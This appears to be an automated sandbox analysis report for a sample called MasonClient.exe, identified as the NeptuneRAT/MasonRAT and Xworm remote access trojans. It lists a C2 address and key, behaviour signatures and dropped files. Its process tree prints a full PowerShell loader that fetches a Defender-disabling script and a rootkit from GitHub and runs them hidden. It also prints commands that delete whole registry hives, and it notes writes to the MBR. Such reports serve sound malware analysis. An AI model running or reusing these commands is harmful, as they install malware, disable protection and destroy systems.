Resubmissions

22/09/2026, 13:52

260922-q6jftsfg82

22/09/2026, 13:51

260922-q58dkavsbs10

Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 13:51

General

  • Target
    MasonClient.exe
  • Size 49KB
  • Sample260922-q58dkavsbs
  • SHA256 dd8b68a78ac59247e75988a6fbc98214b57c04a2a5cb02f7673f66725b5dca2e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

  • exe.dropper

    https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family
  • neptunerat

C2
  • 89.190.158.37:6767

Attributes
  • filename

    USB.exe

  • group

    <Neptune>

  • key

    W2Q4zpNoperUfT9h

  • rat_name

    <123456789>

Signatures

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Detects NeptuneRAT stealer 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 28 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 64 IoCs
  • Modifies registry class 42 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1372
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFD0E.tmp.bat" "
      2⤵
      • Executes a command shell one-liner
      PID:4848
    • C:\Users\Admin\AppData\Local\Temp\tmp466D.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmp466D.tmp.exe"
      2⤵
      • Executes dropped EXE
      • Writes to the Master Boot Record (MBR)
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5204
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\system32\reg.exe
          reg delete HKCR /f
          4⤵
            PID:3760
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg delete HKCU /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1136
          • C:\Windows\system32\reg.exe
            reg delete HKCU /f
            4⤵
            • Modifies registry key
            PID:5648
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg delete HKLM /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2652
          • C:\Windows\system32\reg.exe
            reg delete HKLM /f
            4⤵
            • Checks processor information in registry
            • Enumerates system info in registry
            • Modifies registry class
            • Modifies registry key
            PID:3732
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg delete HKU /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5420
          • C:\Windows\system32\reg.exe
            reg delete HKU /f
            4⤵
              PID:2380
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg delete HKCC /f
            3⤵
            • Executes a command shell one-liner
            PID:5224
            • C:\Windows\system32\reg.exe
              reg delete HKCC /f
              4⤵
                PID:5768
        • C:\Windows\system32\AUDIODG.EXE
          C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004F4
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5100
        • C:\Windows\system32\userinit.exe
          C:\Windows\system32\userinit.exe
          1⤵
            PID:5304
            • C:\Windows\Explorer.EXE
              C:\Windows\Explorer.EXE
              2⤵
                PID:2160
            • C:\Windows\system32\OpenWith.exe
              C:\Windows\system32\OpenWith.exe -Embedding
              1⤵
                PID:5776
              • C:\Windows\system32\OpenWith.exe
                C:\Windows\system32\OpenWith.exe -Embedding
                1⤵
                  PID:4704
                • C:\Windows\system32\OpenWith.exe
                  C:\Windows\system32\OpenWith.exe -Embedding
                  1⤵
                    PID:3456
                  • C:\Windows\system32\OpenWith.exe
                    C:\Windows\system32\OpenWith.exe -Embedding
                    1⤵
                      PID:2596
                    • C:\Windows\system32\OpenWith.exe
                      C:\Windows\system32\OpenWith.exe -Embedding
                      1⤵
                        PID:5836
                      • C:\Windows\system32\OpenWith.exe
                        C:\Windows\system32\OpenWith.exe -Embedding
                        1⤵
                          PID:2648
                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                          1⤵
                            PID:4812
                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                            1⤵
                              PID:2944
                            • C:\Windows\system32\OpenWith.exe
                              C:\Windows\system32\OpenWith.exe -Embedding
                              1⤵
                                PID:4776

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    microsoftwindows.client[1].xml

                                    • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\0GMEPZZH\microsoftwindows.client[1].xml
                                    • Size 97B
                                    • SHA256 e3e121f6017170aff438ef1161414a68800bf7626faaa773f38f7d1b03b04a6b
                                    • MD5 SHA1 SHA512 TLSH

                                    tmp466D.tmp.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\tmp466D.tmp.exe
                                    • Size 11KB
                                    • SHA256 1a7610cd29d915c7f4ad68d5238e4dd3cfc973de57ad81a177ba8ae5cb9a86c5
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    tmpFD0E.tmp.bat

                                    • Path C:\Users\Admin\AppData\Local\Temp\tmpFD0E.tmp.bat
                                    • Size 1KB
                                    • SHA256 79e1377ac17e6aece067d4cf6a202d8baf43a9906cea353de7188c43b20500c8
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Contacts\desktop.ini
                                    • Size 412B
                                    • SHA256 48a6703a09f1197ee85208d5821032b77d20b3368c6b4de890c44fb482149cf7
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Documents\desktop.ini
                                    • Size 402B
                                    • SHA256 cafec240d998e4b6e92ad1329cd417e8e9cbd73157488889fd93a542de4a4844
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Downloads\desktop.ini
                                    • Size 282B
                                    • SHA256 b029393ea7b7cf644fb1c9f984f57c1980077562ee2e15d0ffd049c4c48098d3
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Links\desktop.ini
                                    • Size 504B
                                    • SHA256 a4234e2cf44c57609fd7cb0f9f0a33ee136b542fba5121ac02d85b38fb2ea02d
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Music\desktop.ini
                                    • Size 504B
                                    • SHA256 8301e344371b0753d547b429c5fe513908b1c9813144f08549563ac7f4d7da68
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Pictures\desktop.ini
                                    • Size 504B
                                    • SHA256 88856962cef670c087eda4e07d8f78465beeabb6143b96bd90f884a80af925b4
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Saved Games\desktop.ini
                                    • Size 282B
                                    • SHA256 e6fdf8ed07b19b2a3b8eff05de7bc71152c85b377b9226f126dc54b58b930311
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Searches\desktop.ini
                                    • Size 524B
                                    • SHA256 a9e8ad0792b546a4a8ce49eda82b327ad9581141312efec3ac6f2d3ad5a05f17
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Admin\Videos\desktop.ini
                                    • Size 504B
                                    • SHA256 b287b639f6edd612f414caf000c12ba0555adb3a2643230cbdd5af4053284978
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Users\Public\AccountPictures\desktop.ini
                                    • Size 196B
                                    • SHA256 658d53a476592db7e0e09ecd0073b80315dc2d9041b2fb3bf96eb84ff89676cc
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini
                                    • Size 174B
                                    • SHA256 1d9dcd07e5fa1748da3e7e4d57eca2e88a4c42e4f2cead9192e94325c32c2e4f
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini
                                    • Size 174B
                                    • SHA256 feea416e5e5c8aa81416b81fb25132d1c18b010b02663a253338dbdfb066e122
                                    • MD5 SHA1 SHA512 TLSH

                                    iconcache_48.db

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db
                                    • Size 1024KB
                                    • SHA256 10ef5c281972cac30f6df36af447ce2271b1d46dd309b052954070003be5b153
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    iconcache_idx.db

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                                    • Size 7KB
                                    • SHA256 9e0429155152888f9864a61f48c5f5f4f7da6095ab79afd71a803a59ed5478cd
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini
                                    • Size 196B
                                    • SHA256 4e252dbee2058e1cf6f78fc67568759a8ad213bcafe33192e55dd5712d7e4abd
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini
                                    • Size 234B
                                    • SHA256 2b1c0b3c687716c564f4c7280fa668d172c7ff1d0c81b3917ad4df464d2a22c4
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini
                                    • Size 302B
                                    • SHA256 873bcd7fc25e21142bdfcd6c8f2bea3e294a055e3f132d8a2b3407aba45074e1
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini
                                    • Size 432B
                                    • SHA256 eb315c9d165b4916e3b00e4d148b53a6c03a2f0694a6a8821d98e76f935ca6a8
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini
                                    • Size 174B
                                    • SHA256 be49aff1e82fddfc2ab9dfffcb7e7be100800e3653fd1d12b6f8fa6a0957fcac
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
                                    • Size 174B
                                    • SHA256 cdb11958506a5ba5478e22ed472fa3ae422fe9916d674f290207e1fc29ae5a76
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
                                    • Size 174B
                                    • SHA256 768b6fde6149d9ebbed1e339a72e8cc8c535e5c61d7c82752f7dff50923b7aed
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
                                    • Size 174B
                                    • SHA256 8e00a24ae458effe00a55344f7f34189b4594613284745ff7d406856a196c531
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Desktop\desktop.ini
                                    • Size 282B
                                    • SHA256 4b9d687ac625690fd026ed4b236dad1cac90ef69e7ad256cc42766a065b50026
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Documents\desktop.ini
                                    • Size 418B
                                    • SHA256 954b525be189a7fee40084bce8a1d9380280d109d64695e0c09b940c708aa274
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Downloads\desktop.ini
                                    • Size 298B
                                    • SHA256 d5e7d3ffbfeffe8c91236b30b1cd3c4cbb80059d16ff6edf52c2027874e1ebdf
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Favorites\desktop.ini
                                    • Size 402B
                                    • SHA256 a45e345556901cd98b9bf8700b2a263f1da2b2e53dbdf69b9e6cfab6e0bd3464
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Music\desktop.ini
                                    • Size 520B
                                    • SHA256 7edc1c721b5402e489554f848f85ccc8e190852a0ddcac22a6123c8263841340
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Pictures\desktop.ini
                                    • Size 520B
                                    • SHA256 3d643252d2ab50d0e5078aced4cb1ab19b5e8d1ff0bedf03f3243ebf3caa5884
                                    • MD5 SHA1 SHA512 TLSH

                                    desktop.ini

                                    • Path C:\Windows\System32\config\systemprofile\Videos\desktop.ini
                                    • Size 520B
                                    • SHA256 b41bdfe903bf4ab529adf9a2624c5733f5e044d42a6cd6fed18fd2c281f7fcc5
                                    • MD5 SHA1 SHA512 TLSH

                                    RGI5986.tmp

                                    • Path C:\Windows\Temp\RGI5986.tmp
                                    • Size 24KB
                                    • SHA256 04a0fbd0b5c3e4f7e3558a3871fe3f3cce5013a330941c3e72b4cdb19c81f2ad
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/1372-13-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-10-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-6-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-5-0x00000207F1E30000-0x00000207F1E52000-memory.dmp

                                    memory/1372-7-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-22-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-20-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-19-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-16-0x00000207F29D0000-0x00000207F2EF8000-memory.dmp

                                    memory/1372-18-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-17-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-15-0x00000207F22D0000-0x00000207F2492000-memory.dmp

                                    memory/1372-14-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-11-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-9-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-12-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/1372-8-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/2160-392-0x0000000004A30000-0x0000000004A31000-memory.dmp

                                    memory/2944-528-0x000002DF84100000-0x000002DF84120000-memory.dmp

                                    memory/2944-511-0x000002DF94300000-0x000002DF94400000-memory.dmp

                                    memory/2944-492-0x000002DF80100000-0x000002DF80200000-memory.dmp

                                    memory/2944-510-0x000002DF81EB0000-0x000002DF81ED0000-memory.dmp

                                    memory/2944-542-0x000002DF94730000-0x000002DF94750000-memory.dmp

                                    memory/4692-25-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/4692-24-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/4692-2-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/4692-26-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/4692-23-0x00007FFD5B3A0000-0x00007FFD5BD44000-memory.dmp

                                    memory/4692-0-0x00007FFD5B52F000-0x00007FFD5B530000-memory.dmp

                                    memory/4692-1-0x0000000000480000-0x0000000000492000-memory.dmp

                                    memory/5204-42-0x00000000005B0000-0x00000000005BA000-memory.dmp